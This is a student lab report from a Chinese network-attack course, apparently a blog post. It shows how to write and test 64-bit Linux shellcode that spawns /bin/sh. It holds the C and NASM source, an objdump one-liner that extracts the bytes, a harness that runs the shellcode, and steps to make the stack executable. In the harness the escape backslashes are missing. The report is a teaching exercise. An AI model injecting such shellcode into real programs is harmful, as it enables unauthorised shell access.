• 2019-2020-2 20175310奚晨妍《网络对抗技术》Exp1+ 逆向进阶


    1 Task1

    shellcode就是一段机器指令(code)

    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)
    • 所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,功能可以是添加一个用户、运行一条指令等。

    Shellcode有以下几点要求

    • 调用系统函数获取shell权限
    • Shellcode里面不能出现x00

    1.1 用C语言编写代码

    在Linux里,有两种方法创建新进程:

    • 一是通过现有的进程来创建,并替换正在活动的;
    • 二是利用现有的进程来生成它自己的拷贝,并在它的位置运行这个新进程。

    execve()系统调用就可以在现有的进程空间里执行其他的进程。

    因此这里选择通过C语言调用execve()来返回shell。

    我们先在终端中输入man execve了解一下这个函数的用法:

    从图中可以看出execve()需要三个参数:

    • filename必须指向包含要执行的二进制文件的路径的字符串。在这个例子中就是/bin/sh
    • argv []是程序的参数列表。大多数程序将使用强制性/选项参数运行。而我们只想执行/bin/sh,而没有任何更多的参数,所以参数列表只是一个NULL指针。但是按照惯例,第一个参数是我们要执行的文件名,所以argv []就是"/bin/sh",NULL
    • envp []是要以key:value格式传递给程序的任何其他环境选项的列表。为了我们的目的,这将是NULL指针x00000000

    由此我们可以编写C代码:

    #include <unistd.h>
    #include <stdlib.h>
    char *buf[]={"/bin/sh",NULL};
    void main()
    {
      execve("/bin/sh",buf,0);
      exit(0);
    }
    

    1.2 编译代码并查看反汇编结果

    对上述代码进行静态编译,此时执行可以看到返回了shell。

    输入objdump -d test | more进行反汇编。

    可以发现execve()就相当于执行syscall,然后调用0x3b调用号,0x3b对应十进制的59,也就是execve()的调用号。

    1.3 编写shellcode

    • shellcode应该尽量地简洁紧凑,这样才能注入更小的缓冲区
      • 当遇到n字节长的缓冲区时,不仅要把整个shellcode复制到缓冲区,还要加上调用shellcode的指令,所以shellcode必须比n小。
    • Shellcode里面不能出现x00
      • shellcode中如果存在一些NULL(x00)字符,当我们把shellcode复制到缓冲区时,有时候会出现异常(因为字符数组用null做终止符)。
    section .text 
    global _start 
    _start: 
    xor rax,rax ;将rax置为0
    push rax ;将全0入栈
     
    push 0x68732f 
    push 0x6e69622f ;在堆栈中反向压入“/bin/sh”,即“hs/nib/”
     
    mov rbx,rsp ;用rsp将rbx指向“/bin/sh”
    
    push rax ;将全0入栈
    mov rdx,rsp ;将rsp指向rdx
    
    push rbx ;将“/bin/sh”地址入栈
    mov rcx,rsp ;让rcx指向地址
     
    mov eax,0xffffffc5 ;
    neg eax ;将0x3b赋值给eax             
     
    syscall 
    

    输入nasm -f elf64 shellcode_test.asmld -o shellcode_test shellcode_test.o编译汇编文件,输入objdump -d shellcode_test进行反汇编

    1.4 提取shellcode

    上图中红框里就是我们需要的机器码,可以自己手动输入,或是使用下面这段代码直接生成

    objdump -d ./shellcode_test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '	' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
    

    1.5 编写测试代码

    调用shellcode其实有很多种方法,这里我用了一种最简单的,其他方法可以参考这篇博客

    #include <stdio.h>
    
    int main()
    {
              char shellcode[] = "x48x31xd2x48x31xf6x52x48xb8x2fx62x69x6ex2fx2fx73x68x50x48x89xe7xb8xc5xffxffxffxf7xd8x0fx05";
               ((void(*)(void))&shellcode)(); 
    }
    
    

    编译好代码后,一定要设置堆栈可执行,不然成功不了,这里有两种方法:

    • 输入execstack -s code,设置堆栈可执行后再运行。
    • 通过编译时加上-z execstack设置堆栈可执行。
    这时候,我们自己编写的64位shellcode就已经运行成功了。

    2 参考资料

    Linux下shellcode的编写

    20155213免考项目——bof进阶及简易的HIDAttack

    shellcode指导

    【干货分享】手把手简易实现shellcode及详解

    C语言执行shellcode的五种方法

  • 相关阅读:
    vue项目中使用bpmn-流程图json属性转xml(七篇更新完成)
    vue项目中使用bpmn-流程图xml文件中节点属性转json结构
    vue项目中使用bpmn-自定义platter
    vue项目中使用bpmn-为节点添加颜色
    vue项目中使用bpmn-节点篇(为节点添加点击事件、根据id找节点实例、更新节点名字、获取指定类型的所有节点)
    vue项目中使用bpmn-流程图预览篇
    vue项目中使用bpmn-基础篇
    万事开头难——学习新知识是要打好基本规则基础的
    老川交易的艺术——普通的一周生活——读后感
    艾宾浩斯遗忘曲线表格——使用
  • 原文地址:https://www.cnblogs.com/xicyannn/p/12528449.html
Copyright © 2020-2023  润新知